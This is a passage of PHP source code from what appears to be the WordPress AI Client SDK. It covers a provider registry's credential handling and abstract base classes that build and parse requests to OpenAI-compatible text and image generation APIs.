        $this->providerAuthenticationInstances[$className] = $requestAuthentication;
        $this->setRequestAuthenticationForProvider($className, $requestAuthentication);
    }
    /**
     * Gets the request authentication instance for the given provider, if set.
     *
     * @since 0.1.0
     *
     * @param string|class-string<ProviderInterface> $idOrClassName The provider ID or class name.
     * @return ?RequestAuthenticationInterface The request authentication instance, or null if not set.
     */
    public function getProviderRequestAuthentication(string $idOrClassName): ?RequestAuthenticationInterface
    {
        $className = $this->resolveProviderClassName($idOrClassName);
        if (!isset($this->providerAuthenticationInstances[$className])) {
            return null;
        }
        return $this->providerAuthenticationInstances[$className];
    }
    /**
     * Sets the HTTP transporter for a specific provider, hooking up its class instances.
     *
     * @since 0.1.0
     *
     * @param class-string<ProviderInterface> $className The provider class name.
     * @param HttpTransporterInterface $httpTransporter The HTTP transporter instance.
     */
    private function setHttpTransporterForProvider(string $className, HttpTransporterInterface $httpTransporter): void
    {
        $availability = $className::availability();
        if ($availability instanceof WithHttpTransporterInterface) {
            $availability->setHttpTransporter($httpTransporter);
        }
        $modelMetadataDirectory = $className::modelMetadataDirectory();
        if ($modelMetadataDirectory instanceof WithHttpTransporterInterface) {
            $modelMetadataDirectory->setHttpTransporter($httpTransporter);
        }
        if (is_subclass_of($className, ProviderWithOperationsHandlerInterface::class)) {
            $operationsHandler = $className::operationsHandler();
            if ($operationsHandler instanceof WithHttpTransporterInterface) {
                $operationsHandler->setHttpTransporter($httpTransporter);
            }
        }
    }
    /**
     * Sets the request authentication for a specific provider, hooking up its class instances.
     *
     * @since 0.1.0
     *
     * @param class-string<ProviderInterface> $className The provider class name.
     * @param RequestAuthenticationInterface $requestAuthentication The authentication instance.
     *
     * @throws InvalidArgumentException If the authentication instance is not of the expected type.
     */
    private function setRequestAuthenticationForProvider(string $className, RequestAuthenticationInterface $requestAuthentication): void
    {
        $authenticationMethod = $className::metadata()->getAuthenticationMethod();
        if ($authenticationMethod === null) {
            throw new InvalidArgumentException(sprintf('Provider %s does not expect any authentication, but got %s.', $className, get_class($requestAuthentication)));
        }
        $expectedClass = $authenticationMethod->getImplementationClass();
        if (!$requestAuthentication instanceof $expectedClass) {
            throw new InvalidArgumentException(sprintf('Provider %s expects authentication of type %s, but got %s.', $className, $expectedClass, get_class($requestAuthentication)));
        }
        $availability = $className::availability();
        if ($availability instanceof WithRequestAuthenticationInterface) {
            $availability->setRequestAuthentication($requestAuthentication);
        }
        $modelMetadataDirectory = $className::modelMetadataDirectory();
        if ($modelMetadataDirectory instanceof WithRequestAuthenticationInterface) {
            $modelMetadataDirectory->setRequestAuthentication($requestAuthentication);
        }
        if (is_subclass_of($className, ProviderWithOperationsHandlerInterface::class)) {
            $operationsHandler = $className::operationsHandler();
            if ($operationsHandler instanceof WithRequestAuthenticationInterface) {
                $operationsHandler->setRequestAuthentication($requestAuthentication);
            }
        }
    }
    /**
     * Creates a default request authentication instance for a provider.
     *
     * @since 0.1.0
     *
     * @param class-string<ProviderInterface> $className The provider class name.
     * @return ?RequestAuthenticationInterface The default request authentication instance, or null if not required or
     *                                         if no credential data can be found.
     */
    private function createDefaultProviderRequestAuthentication(string $className): ?RequestAuthenticationInterface
    {
        $providerMetadata = $className::metadata();
        $providerId = $providerMetadata->getId();
        $authenticationMethod = $providerMetadata->getAuthenticationMethod();
        if ($authenticationMethod === null) {
            return null;
        }
        $authenticationClass = $authenticationMethod->getImplementationClass();
        if ($authenticationClass === null) {
            return null;
        }
        $authenticationSchema = $authenticationClass::getJsonSchema();
        // Iterate over all JSON schema object properties to try to determine the necessary authentication data.
        $authenticationData = [];
        if (isset($authenticationSchema['properties']) && is_array($authenticationSchema['properties'])) {
            /** @var array<string, mixed> $details */
            foreach ($authenticationSchema['properties'] as $property => $details) {
                $envVarName = $this->getEnvVarName($providerId, $property);
                // Try to get the value from environment variable or constant.
                $envValue = getenv($envVarName);
                if ($envValue === \false) {
                    if (!defined($envVarName)) {
                        continue;
                        // Skip if neither environment variable nor constant is defined.
                    }
                    $envValue = constant($envVarName);
                    if (!is_scalar($envValue)) {
                        continue;
                    }
                }
                if (isset($details['type'])) {
                    switch ($details['type']) {
                        case 'boolean':
                            $authenticationData[$property] = filter_var($envValue, \FILTER_VALIDATE_BOOLEAN);
                            break;
                        case 'number':
                            $authenticationData[$property] = (int) $envValue;
                            break;
                        case 'string':
                        default:
                            $authenticationData[$property] = (string) $envValue;
                    }
                } else {
                    // Default to string if no type is specified.
                    $authenticationData[$property] = (string) $envValue;
                }
            }
            // If any required fields are missing, return null to avoid immediate errors.
            if (isset($authenticationSchema['required']) && is_array($authenticationSchema['required'])) {
                /** @var list<string> $requiredProperties */
                $requiredProperties = $authenticationSchema['required'];
                if (array_diff_key(array_flip($requiredProperties), $authenticationData)) {
                    return null;
                }
            }
        }
        /** @var RequestAuthenticationInterface */
        /** @var array<string, mixed> $authenticationData */
        return $authenticationClass::fromArray($authenticationData);
    }
    /**
     * Checks if the given value is a registered provider class name.
     *
     * @since 0.4.0
     *
     * @param string $idOrClassName The value to check.
     * @return bool True if it's a registered class name.
     * @phpstan-assert-if-true class-string<ProviderInterface> $idOrClassName
     */
    private function isRegisteredClassName(string $idOrClassName): bool
    {
        return isset($this->registeredClassNamesToIds[$idOrClassName]);
    }
    /**
     * Checks if the given value is a registered provider ID.
     *
     * @since 0.4.0
     *
     * @param string $idOrClassName The value to check.
     * @return bool True if it's a registered provider ID.
     */
    private function isRegisteredId(string $idOrClassName): bool
    {
        return isset($this->registeredIdsToClassNames[$idOrClassName]);
    }
    /**
     * Converts a provider ID and field name to a constant case environment variable name.
     *
     * @since 0.1.0
     *
     * @param string $providerId The provider ID.
     * @param string $field The field name.
     * @return string The environment variable name in CONSTANT_CASE.
     */
    private function getEnvVarName(string $providerId, string $field): string
    {
        // Convert camelCase or kebab-case or snake_case to CONSTANT_CASE.
        $constantCaseProviderId = strtoupper((string) preg_replace('/([a-z])([A-Z])/', '$1_$2', str_replace('-', '_', $providerId)));
        $constantCaseField = strtoupper((string) preg_replace('/([a-z])([A-Z])/', '$1_$2', str_replace('-', '_', $field)));
        return "{$constantCaseProviderId}_{$constantCaseField}";
    }
}
src/Providers/OpenAiCompatibleImplementation/AbstractOpenAiCompatibleTextGenerationModel.php000064400000061237152205304550026615 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\OpenAiCompatibleImplementation;

use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Messages\DTO\MessagePart;
use WordPress\AiClient\Messages\Enums\MessagePartChannelEnum;
use WordPress\AiClient\Messages\Enums\MessageRoleEnum;
use WordPress\AiClient\Messages\Enums\ModalityEnum;
use WordPress\AiClient\Providers\ApiBasedImplementation\AbstractApiBasedModel;
use WordPress\AiClient\Providers\Http\DTO\Request;
use WordPress\AiClient\Providers\Http\DTO\Response;
use WordPress\AiClient\Providers\Http\Enums\HttpMethodEnum;
use WordPress\AiClient\Providers\Http\Exception\ResponseException;
use WordPress\AiClient\Providers\Http\Util\ResponseUtil;
use WordPress\AiClient\Providers\Models\TextGeneration\Contracts\TextGenerationModelInterface;
use WordPress\AiClient\Results\DTO\Candidate;
use WordPress\AiClient\Results\DTO\GenerativeAiResult;
use WordPress\AiClient\Results\DTO\TokenUsage;
use WordPress\AiClient\Results\Enums\FinishReasonEnum;
use WordPress\AiClient\Tools\DTO\FunctionCall;
use WordPress\AiClient\Tools\DTO\FunctionDeclaration;
/**
 * Base class for a text generation model for providers that implement OpenAI's API format.
 *
 * This abstract class is designed to work with any AI provider that offers an OpenAI-compatible
 * API endpoint, including but not limited to Anthropic, Google, and other providers
 * that have adopted OpenAI's API specification as a standard interface.
 *
 * @since 0.1.0
 *
 * @phpstan-type ToolCallData array{
 *     type?: string,
 *     id?: string,
 *     function?: array{
 *         name?: string,
 *         arguments: string|array<string, mixed>
 *     }
 * }
 * @phpstan-type MessageData array{
 *     role?: string,
 *     reasoning_content?: string,
 *     content?: string,
 *     tool_calls?: list<ToolCallData>
 * }
 * @phpstan-type ChoiceData array{
 *     message?: MessageData,
 *     finish_reason?: string
 * }
 * @phpstan-type UsageData array{
 *     prompt_tokens?: int,
 *     completion_tokens?: int,
 *     total_tokens?: int
 * }
 * @phpstan-type ResponseData array{
 *     id?: string,
 *     choices?: list<ChoiceData>,
 *     usage?: UsageData
 * }
 */
abstract class AbstractOpenAiCompatibleTextGenerationModel extends AbstractApiBasedModel implements TextGenerationModelInterface
{
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    final public function generateTextResult(array $prompt): GenerativeAiResult
    {
        $httpTransporter = $this->getHttpTransporter();
        $params = $this->prepareGenerateTextParams($prompt);
        $request = $this->createRequest(HttpMethodEnum::POST(), 'chat/completions', ['Content-Type' => 'application/json'], $params);
        // Add authentication credentials to the request.
        $request = $this->getRequestAuthentication()->authenticateRequest($request);
        // Send and process the request.
        $response = $httpTransporter->send($request);
        $this->throwIfNotSuccessful($response);
        return $this->parseResponseToGenerativeAiResult($response);
    }
    /**
     * Prepares the given prompt and the model configuration into parameters for the API request.
     *
     * @since 0.1.0
     *
     * @param list<Message> $prompt The prompt to generate text for. Either a single message or a list of messages
     *                              from a chat.
     * @return array<string, mixed> The parameters for the API request.
     */
    protected function prepareGenerateTextParams(array $prompt): array
    {
        $config = $this->getConfig();
        $params = ['model' => $this->metadata()->getId(), 'messages' => $this->prepareMessagesParam($prompt, $config->getSystemInstruction())];
        $outputModalities = $config->getOutputModalities();
        if (is_array($outputModalities)) {
            $this->validateOutputModalities($outputModalities);
            if (count($outputModalities) > 1) {
                $params['modalities'] = $this->prepareOutputModalitiesParam($outputModalities);
            }
        }
        $candidateCount = $config->getCandidateCount();
        if ($candidateCount !== null) {
            $params['n'] = $candidateCount;
        }
        $maxTokens = $config->getMaxTokens();
        if ($maxTokens !== null) {
            $params['max_tokens'] = $maxTokens;
        }
        $temperature = $config->getTemperature();
        if ($temperature !== null) {
            $params['temperature'] = $temperature;
        }
        $topP = $config->getTopP();
        if ($topP !== null) {
            $params['top_p'] = $topP;
        }
        $stopSequences = $config->getStopSequences();
        if (is_array($stopSequences)) {
            $params['stop'] = $stopSequences;
        }
        $presencePenalty = $config->getPresencePenalty();
        if ($presencePenalty !== null) {
            $params['presence_penalty'] = $presencePenalty;
        }
        $frequencyPenalty = $config->getFrequencyPenalty();
        if ($frequencyPenalty !== null) {
            $params['frequency_penalty'] = $frequencyPenalty;
        }
        $logprobs = $config->getLogprobs();
        if ($logprobs !== null) {
            $params['logprobs'] = $logprobs;
        }
        $topLogprobs = $config->getTopLogprobs();
        if ($topLogprobs !== null) {
            $params['top_logprobs'] = $topLogprobs;
        }
        $functionDeclarations = $config->getFunctionDeclarations();
        if (is_array($functionDeclarations)) {
            $params['tools'] = $this->prepareToolsParam($functionDeclarations);
        }
        $outputMimeType = $config->getOutputMimeType();
        if ('application/json' === $outputMimeType) {
            $outputSchema = $config->getOutputSchema();
            $params['response_format'] = $this->prepareResponseFormatParam($outputSchema);
        }
        /*
         * Any custom options are added to the parameters as well.
         * This allows developers to pass other options that may be more niche or not yet supported by the SDK.
         */
        $customOptions = $config->getCustomOptions();
        foreach ($customOptions as $key => $value) {
            if (isset($params[$key])) {
                throw new InvalidArgumentException(sprintf('The custom option "%s" conflicts with an existing parameter.', $key));
            }
            $params[$key] = $value;
        }
        return $params;
    }
    /**
     * Prepares the messages parameter for the API request.
     *
     * @since 0.1.0
     *
     * @param list<Message> $messages The messages to prepare.
     * @param string|null $systemInstruction An optional system instruction to prepend to the messages.
     * @return list<array<string, mixed>> The prepared messages parameter.
     */
    protected function prepareMessagesParam(array $messages, ?string $systemInstruction = null): array
    {
        $messagesParam = array_map(function (Message $message): array {
            // Special case: Function response.
            $messageParts = $message->getParts();
            if (count($messageParts) === 1 && $messageParts[0]->getType()->isFunctionResponse()) {
                $functionResponse = $messageParts[0]->getFunctionResponse();
                if (!$functionResponse) {
                    // This should be impossible due to class internals, but still needs to be checked.
                    throw new RuntimeException('The function response typed message part must contain a function response.');
                }
                return ['role' => 'tool', 'content' => json_encode($functionResponse->getResponse()), 'tool_call_id' => $functionResponse->getId()];
            }
            $messageData = ['role' => $this->getMessageRoleString($message->getRole()), 'content' => array_values(array_filter(array_map([$this, 'getMessagePartContentData'], $messageParts)))];
            // Only include tool_calls if there are any (OpenAI rejects empty arrays).
            $toolCalls = array_values(array_filter(array_map([$this, 'getMessagePartToolCallData'], $messageParts)));
            if (!empty($toolCalls)) {
                $messageData['tool_calls'] = $toolCalls;
            }
            return $messageData;
        }, $messages);
        if ($systemInstruction) {
            array_unshift($messagesParam, [
                /*
                 * TODO: Replace this with 'developer' in the future.
                 * See https://platform.openai.com/docs/api-reference/chat/create#chat_create-messages
                 */
                'role' => 'system',
                'content' => [['type' => 'text', 'text' => $systemInstruction]],
            ]);
        }
        return $messagesParam;
    }
    /**
     * Returns the OpenAI API specific role string for the given message role.
     *
     * @since 0.1.0
     *
     * @param MessageRoleEnum $role The message role.
     * @return string The role for the API request.
     */
    protected function getMessageRoleString(MessageRoleEnum $role): string
    {
        if ($role === MessageRoleEnum::model()) {
            return 'assistant';
        }
        return 'user';
    }
    /**
     * Returns the OpenAI API specific content data for a message part.
     *
     * @since 0.1.0
     *
     * @param MessagePart $part The message part to get the data for.
     * @return ?array<string, mixed> The data for the message content part, or null if not applicable.
     * @throws InvalidArgumentException If the message part type or data is unsupported.
     */
    protected function getMessagePartContentData(MessagePart $part): ?array
    {
        $type = $part->getType();
        if ($type->isText()) {
            /*
             * The OpenAI Chat Completions API spec does not support annotating thought parts as input,
             * so we instead skip them.
             */
            if ($part->getChannel()->isThought()) {
                return null;
            }
            return ['type' => 'text', 'text' => $part->getText()];
        }
        if ($type->isFile()) {
            $file = $part->getFile();
            if (!$file) {
                // This should be impossible due to class internals, but still needs to be checked.
                throw new RuntimeException('The file typed message part must contain a file.');
            }
            if ($file->isRemote()) {
                if ($file->isImage()) {
                    return ['type' => 'image_url', 'image_url' => ['url' => $file->getUrl()]];
                }
                throw new InvalidArgumentException(sprintf('Unsupported MIME type "%s" for remote file message part.', $file->getMimeType()));
            }
            // Else, it is an inline file.
            if ($file->isImage()) {
                return ['type' => 'image_url', 'image_url' => ['url' => $file->getDataUri()]];
            }
            if ($file->isAudio()) {
                return ['type' => 'input_audio', 'input_audio' => ['data' => $file->getBase64Data(), 'format' => $file->getMimeTypeObject()->toExtension()]];
            }
            throw new InvalidArgumentException(sprintf('Unsupported MIME type "%s" for inline file message part.', $file->getMimeType()));
        }
        if ($type->isFunctionCall()) {
            // Skip, as this is separately included. See `getMessagePartToolCallData()`.
            return null;
        }
        if ($type->isFunctionResponse()) {
            // Special case: Function response.
            throw new InvalidArgumentException('The API only allows a single function response, as the only content of the message.');
        }
        throw new InvalidArgumentException(sprintf('Unsupported message part type "%s".', $type));
    }
    /**
     * Returns the OpenAI API specific tool calls data for a message part.
     *
     * @since 0.1.0
     *
     * @param MessagePart $part The message part to get the data for.
     * @return ?array<string, mixed> The data for the message tool call part, or null if not applicable.
     * @throws InvalidArgumentException If the message part type or data is unsupported.
     */
    protected function getMessagePartToolCallData(MessagePart $part): ?array
    {
        $type = $part->getType();
        if ($type->isFunctionCall()) {
            $functionCall = $part->getFunctionCall();
            if (!$functionCall) {
                // This should be impossible due to class internals, but still needs to be checked.
                throw new RuntimeException('The function call typed message part must contain a function call.');
            }
            $args = $functionCall->getArgs();
            /*
             * Ensure null or empty arrays become empty objects for JSON encoding.
             * While in theory the JSON schema could also dictate a type of
             * 'array', in practice function arguments are typically of type
             * 'object'. More importantly, the OpenAI API specification seems
             * to expect that, and does not support passing arrays as the root
             * value. The null check handles the case where FunctionCall normalizes
             * empty arrays to null.
             */
            if ($args === null || is_array($args) && count($args) === 0) {
                $args = new \stdClass();
            }
            return ['type' => 'function', 'id' => $functionCall->getId(), 'function' => ['name' => $functionCall->getName(), 'arguments' => json_encode($args)]];
        }
        // All other types are handled in `getMessagePartContentData()`.
        return null;
    }
    /**
     * Validates that the given output modalities to ensure that at least one output modality is text.
     *
     * @since 0.1.0
     *
     * @param array<ModalityEnum> $outputModalities The output modalities to validate.
     * @throws InvalidArgumentException If no text output modality is present.
     */
    protected function validateOutputModalities(array $outputModalities): void
    {
        // If no output modalities are set, it's fine, as we can assume text.
        if (count($outputModalities) === 0) {
            return;
        }
        foreach ($outputModalities as $modality) {
            if ($modality->isText()) {
                return;
            }
        }
        throw new InvalidArgumentException('A text output modality must be present when generating text.');
    }
    /**
     * Prepares the output modalities parameter for the API request.
     *
     * @since 0.1.0
     *
     * @param array<ModalityEnum> $modalities The modalities to prepare.
     * @return list<string> The prepared modalities parameter.
     */
    protected function prepareOutputModalitiesParam(array $modalities): array
    {
        $prepared = [];
        foreach ($modalities as $modality) {
            if ($modality->isText()) {
                $prepared[] = 'text';
            } elseif ($modality->isImage()) {
                $prepared[] = 'image';
            } elseif ($modality->isAudio()) {
                $prepared[] = 'audio';
            } else {
                throw new InvalidArgumentException(sprintf('Unsupported output modality "%s".', $modality));
            }
        }
        return $prepared;
    }
    /**
     * Prepares the tools parameter for the API request.
     *
     * @since 0.1.0
     *
     * @param list<FunctionDeclaration> $functionDeclarations The function declarations.
     * @return list<array<string, mixed>> The prepared tools parameter.
     */
    protected function prepareToolsParam(array $functionDeclarations): array
    {
        $tools = [];
        foreach ($functionDeclarations as $functionDeclaration) {
            $tools[] = ['type' => 'function', 'function' => $functionDeclaration->toArray()];
        }
        return $tools;
    }
    /**
     * Prepares the response format parameter for the API request.
     *
     * This is only called if the output MIME type is `application/json`.
     *
     * @since 0.1.0
     *
     * @param array<string, mixed>|null $outputSchema The output schema.
     * @return array<string, mixed> The prepared response format parameter.
     */
    protected function prepareResponseFormatParam(?array $outputSchema): array
    {
        if (is_array($outputSchema)) {
            return ['type' => 'json_schema', 'json_schema' => $outputSchema];
        }
        return ['type' => 'json_object'];
    }
    /**
     * Creates a request object for the provider's API.
     *
     * Implementations should use $this->getRequestOptions() to attach any
     * configured request options to the Request.
     *
     * @since 0.1.0
     *
     * @param HttpMethodEnum $method The HTTP method.
     * @param string $path The API endpoint path, relative to the base URI.
     * @param array<string, string|list<string>> $headers The request headers.
     * @param string|array<string, mixed>|null $data The request data.
     * @return Request The request object.
     */
    abstract protected function createRequest(HttpMethodEnum $method, string $path, array $headers = [], $data = null): Request;
    /**
     * Throws an exception if the response is not successful.
     *
     * @since 0.1.0
     *
     * @param Response $response The HTTP response to check.
     * @throws ResponseException If the response is not successful.
     */
    protected function throwIfNotSuccessful(Response $response): void
    {
        /*
         * While this method only calls the utility method, it's important to have it here as a protected method so
         * that child classes can override it if needed.
         */
        ResponseUtil::throwIfNotSuccessful($response);
    }
    /**
     * Parses the response from the API endpoint to a generative AI result.
     *
     * @since 0.1.0
     *
     * @param Response $response The response from the API endpoint.
     * @return GenerativeAiResult The parsed generative AI result.
     */
    protected function parseResponseToGenerativeAiResult(Response $response): GenerativeAiResult
    {
        /** @var ResponseData $responseData */
        $responseData = $response->getData();
        if (!isset($responseData['choices']) || !$responseData['choices']) {
            throw ResponseException::fromMissingData($this->providerMetadata()->getName(), 'choices');
        }
        if (!is_array($responseData['choices'])) {
            throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), 'choices', 'The value must be an array.');
        }
        $candidates = [];
        foreach ($responseData['choices'] as $index => $choiceData) {
            if (!is_array($choiceData) || array_is_list($choiceData)) {
                throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), "choices[{$index}]", 'The value must be an associative array.');
            }
            $candidates[] = $this->parseResponseChoiceToCandidate($choiceData, $index);
        }
        $id = isset($responseData['id']) && is_string($responseData['id']) ? $responseData['id'] : '';
        if (isset($responseData['usage']) && is_array($responseData['usage'])) {
            $usage = $responseData['usage'];
            $tokenUsage = new TokenUsage($usage['prompt_tokens'] ?? 0, $usage['completion_tokens'] ?? 0, $usage['total_tokens'] ?? 0);
        } else {
            $tokenUsage = new TokenUsage(0, 0, 0);
        }
        // Use any other data from the response as provider-specific response metadata.
        $additionalData = $responseData;
        unset($additionalData['id'], $additionalData['choices'], $additionalData['usage']);
        return new GenerativeAiResult($id, $candidates, $tokenUsage, $this->providerMetadata(), $this->metadata(), $additionalData);
    }
    /**
     * Parses a single choice from the API response into a Candidate object.
     *
     * @since 0.1.0
     *
     * @param ChoiceData $choiceData The choice data from the API response.
     * @param int $index The index of the choice in the choices array.
     * @return Candidate The parsed candidate.
     * @throws RuntimeException If the choice data is invalid.
     */
    protected function parseResponseChoiceToCandidate(array $choiceData, int $index): Candidate
    {
        if (!isset($choiceData['message']) || !is_array($choiceData['message']) || array_is_list($choiceData['message'])) {
            throw ResponseException::fromMissingData($this->providerMetadata()->getName(), "choices[{$index}].message");
        }
        if (!isset($choiceData['finish_reason']) || !is_string($choiceData['finish_reason'])) {
            throw ResponseException::fromMissingData($this->providerMetadata()->getName(), "choices[{$index}].finish_reason");
        }
        $messageData = $choiceData['message'];
        $message = $this->parseResponseChoiceMessage($messageData, $index);
        switch ($choiceData['finish_reason']) {
            case 'stop':
                $finishReason = FinishReasonEnum::stop();
                break;
            case 'length':
                $finishReason = FinishReasonEnum::length();
                break;
            case 'content_filter':
                $finishReason = FinishReasonEnum::contentFilter();
                break;
            case 'tool_calls':
                $finishReason = FinishReasonEnum::toolCalls();
                break;
            default:
                throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), "choices[{$index}].finish_reason", sprintf('Invalid finish reason "%s".', $choiceData['finish_reason']));
        }
        return new Candidate($message, $finishReason);
    }
    /**
     * Parses the message from a choice in the API response.
     *
     * @since 0.1.0
     *
     * @param MessageData $messageData The message data from the API response.
     * @param int $index The index of the choice in the choices array.
     * @return Message The parsed message.
     */
    protected function parseResponseChoiceMessage(array $messageData, int $index): Message
    {
        $role = isset($messageData['role']) && 'user' === $messageData['role'] ? MessageRoleEnum::user() : MessageRoleEnum::model();
        $parts = $this->parseResponseChoiceMessageParts($messageData, $index);
        return new Message($role, $parts);
    }
    /**
     * Parses the message parts from a choice in the API response.
     *
     * @since 0.1.0
     *
     * @param MessageData $messageData The message data from the API response.
     * @param int $index The index of the choice in the choices array.
     * @return MessagePart[] The parsed message parts.
     */
    protected function parseResponseChoiceMessageParts(array $messageData, int $index): array
    {
        $parts = [];
        if (isset($messageData['reasoning_content']) && is_string($messageData['reasoning_content'])) {
            $parts[] = new MessagePart($messageData['reasoning_content'], MessagePartChannelEnum::thought());
        }
        if (isset($messageData['content']) && is_string($messageData['content'])) {
            $parts[] = new MessagePart($messageData['content']);
        }
        if (isset($messageData['tool_calls']) && is_array($messageData['tool_calls'])) {
            foreach ($messageData['tool_calls'] as $toolCallIndex => $toolCallData) {
                $toolCallPart = $this->parseResponseChoiceMessageToolCallPart($toolCallData);
                if (!$toolCallPart) {
                    throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), "choices[{$index}].message.tool_calls[{$toolCallIndex}]", 'The response includes a tool call of an unexpected type.');
                }
                $parts[] = $toolCallPart;
            }
        }
        return $parts;
    }
    /**
     * Parses a tool call part from the API response.
     *
     * @since 0.1.0
     *
     * @param ToolCallData $toolCallData The tool call data from the API response.
     * @return MessagePart|null The parsed message part for the tool call, or null if not applicable.
     */
    protected function parseResponseChoiceMessageToolCallPart(array $toolCallData): ?MessagePart
    {
        /*
         * For now, only function calls are supported.
         *
         * Not all OpenAI compatible APIs include a 'type' key, so we only check its value if it is set.
         */
        if (isset($toolCallData['type']) && 'function' !== $toolCallData['type'] || !isset($toolCallData['function']) || !is_array($toolCallData['function'])) {
            return null;
        }
        $functionArguments = is_string($toolCallData['function']['arguments']) ? json_decode($toolCallData['function']['arguments'], \true) : $toolCallData['function']['arguments'];
        $functionCall = new FunctionCall(isset($toolCallData['id']) && is_string($toolCallData['id']) ? $toolCallData['id'] : null, isset($toolCallData['function']['name']) && is_string($toolCallData['function']['name']) ? $toolCallData['function']['name'] : null, $functionArguments);
        return new MessagePart($functionCall);
    }
}
src/Providers/OpenAiCompatibleImplementation/AbstractOpenAiCompatibleImageGenerationModel.php000064400000031733152205304550026711 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\OpenAiCompatibleImplementation;

use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Files\DTO\File;
use WordPress\AiClient\Files\Enums\MediaOrientationEnum;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Messages\DTO\MessagePart;
use WordPress\AiClient\Messages\Enums\MessageRoleEnum;
use WordPress\AiClient\Providers\ApiBasedImplementation\AbstractApiBasedModel;
use WordPress\AiClient\Providers\Http\DTO\Request;
use WordPress\AiClient\Providers\Http\DTO\Response;
use WordPress\AiClient\Providers\Http\Enums\HttpMethodEnum;
use WordPress\AiClient\Providers\Http\Exception\ResponseException;
use WordPress\AiClient\Providers\Http\Util\ResponseUtil;
use WordPress\AiClient\Providers\Models\ImageGeneration\Contracts\ImageGenerationModelInterface;
use WordPress\AiClient\Results\DTO\Candidate;
use WordPress\AiClient\Results\DTO\GenerativeAiResult;
use WordPress\AiClient\Results\DTO\TokenUsage;
use WordPress\AiClient\Results\Enums\FinishReasonEnum;
/**
 * Base class for an image generation model for providers that implement OpenAI's API format.
 *
 * This abstract class is designed to work with any AI provider that offers an OpenAI-compatible
 * API endpoint for image generation, including but not limited to Anthropic, Google, and other
 * providers that have adopted OpenAI's image generation API specification as a standard interface.
 *
 * @since 0.1.0
 *
 * @phpstan-type ImageGenerationParams array{
 *     model: string,
 *     prompt: string,
 *     n?: int,
 *     response_format?: string,
 *     output_format?: string|null,
 *     size?: string,
 *     ...
 * }
 * @phpstan-type ChoiceData array{
 *     url?: string,
 *     b64_json?: string
 * }
 * @phpstan-type UsageData array{
 *     input_tokens?: int,
 *     output_tokens?: int,
 *     total_tokens?: int
 * }
 * @phpstan-type ResponseData array{
 *     id?: string,
 *     data?: list<ChoiceData>,
 *     usage?: UsageData
 * }
 */
abstract class AbstractOpenAiCompatibleImageGenerationModel extends AbstractApiBasedModel implements ImageGenerationModelInterface
{
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public function generateImageResult(array $prompt): GenerativeAiResult
    {
        $httpTransporter = $this->getHttpTransporter();
        $params = $this->prepareGenerateImageParams($prompt);
        $request = $this->createRequest(HttpMethodEnum::POST(), 'images/generations', ['Content-Type' => 'application/json'], $params);
        // Add authentication credentials to the request.
        $request = $this->getRequestAuthentication()->authenticateRequest($request);
        // Send and process the request.
        $response = $httpTransporter->send($request);
        $this->throwIfNotSuccessful($response);
        return $this->parseResponseToGenerativeAiResult($response, isset($params['output_format']) && is_string($params['output_format']) ? "image/{$params['output_format']}" : 'image/png');
    }
    /**
     * Prepares the given prompt and the model configuration into parameters for the API request.
     *
     * @since 0.1.0
     *
     * @param list<Message> $prompt The prompt to generate an image for. Either a single message or a list of messages
     *                              from a chat. However as of today, OpenAI compatible image generation endpoints only
     *                              support a single user message.
     * @return ImageGenerationParams The parameters for the API request.
     */
    protected function prepareGenerateImageParams(array $prompt): array
    {
        $config = $this->getConfig();
        $params = ['model' => $this->metadata()->getId(), 'prompt' => $this->preparePromptParam($prompt)];
        $candidateCount = $config->getCandidateCount();
        if ($candidateCount !== null) {
            $params['n'] = $candidateCount;
        }
        $outputFileType = $config->getOutputFileType();
        if ($outputFileType !== null) {
            $params['response_format'] = $outputFileType->isRemote() ? 'url' : 'b64_json';
        } else {
            // The 'response_format' parameter is required, so we default to 'b64_json' if not set.
            $params['response_format'] = 'b64_json';
        }
        $outputMimeType = $config->getOutputMimeType();
        if ($outputMimeType !== null) {
            $params['output_format'] = preg_replace('/^image\//', '', $outputMimeType);
        }
        $outputMediaOrientation = $config->getOutputMediaOrientation();
        $outputMediaAspectRatio = $config->getOutputMediaAspectRatio();
        if ($outputMediaOrientation !== null || $outputMediaAspectRatio !== null) {
            $params['size'] = $this->prepareSizeParam($outputMediaOrientation, $outputMediaAspectRatio);
        }
        /*
         * Any custom options are added to the parameters as well.
         * This allows developers to pass other options that may be more niche or not yet supported by the SDK.
         */
        $customOptions = $config->getCustomOptions();
        foreach ($customOptions as $key => $value) {
            if (isset($params[$key])) {
                throw new InvalidArgumentException(sprintf('The custom option "%s" conflicts with an existing parameter.', $key));
            }
            $params[$key] = $value;
        }
        /** @var ImageGenerationParams $params */
        return $params;
    }
    /**
     * Prepares the prompt parameter for the API request.
     *
     * @since 0.1.0
     *
     * @param list<Message> $messages The messages to prepare. However as of today, OpenAI compatible image generation
     *                                endpoints only support a single user message.
     * @return string The prepared prompt parameter.
     */
    protected function preparePromptParam(array $messages): string
    {
        if (count($messages) !== 1) {
            throw new InvalidArgumentException('The API requires a single user message as prompt.');
        }
        $message = $messages[0];
        if (!$message->getRole()->isUser()) {
            throw new InvalidArgumentException('The API requires a user message as prompt.');
        }
        $text = null;
        foreach ($message->getParts() as $part) {
            $text = $part->getText();
            if ($text !== null) {
                break;
            }
        }
        if ($text === null) {
            throw new InvalidArgumentException('The API requires a single text message part as prompt.');
        }
        return $text;
    }
    /**
     * Prepares the size parameter for the API request.
     *
     * @since 0.1.0
     *
     * @param MediaOrientationEnum|null $orientation The desired media orientation.
     * @param string|null $aspectRatio The desired media aspect ratio.
     * @return string The prepared size parameter.
     */
    protected function prepareSizeParam(?MediaOrientationEnum $orientation, ?string $aspectRatio): string
    {
        // Use aspect ratio if set, as it is more specific.
        if ($aspectRatio !== null) {
            switch ($aspectRatio) {
                case '1:1':
                    return '1024x1024';
                case '3:2':
                    return '1536x1024';
                case '7:4':
                    return '1792x1024';
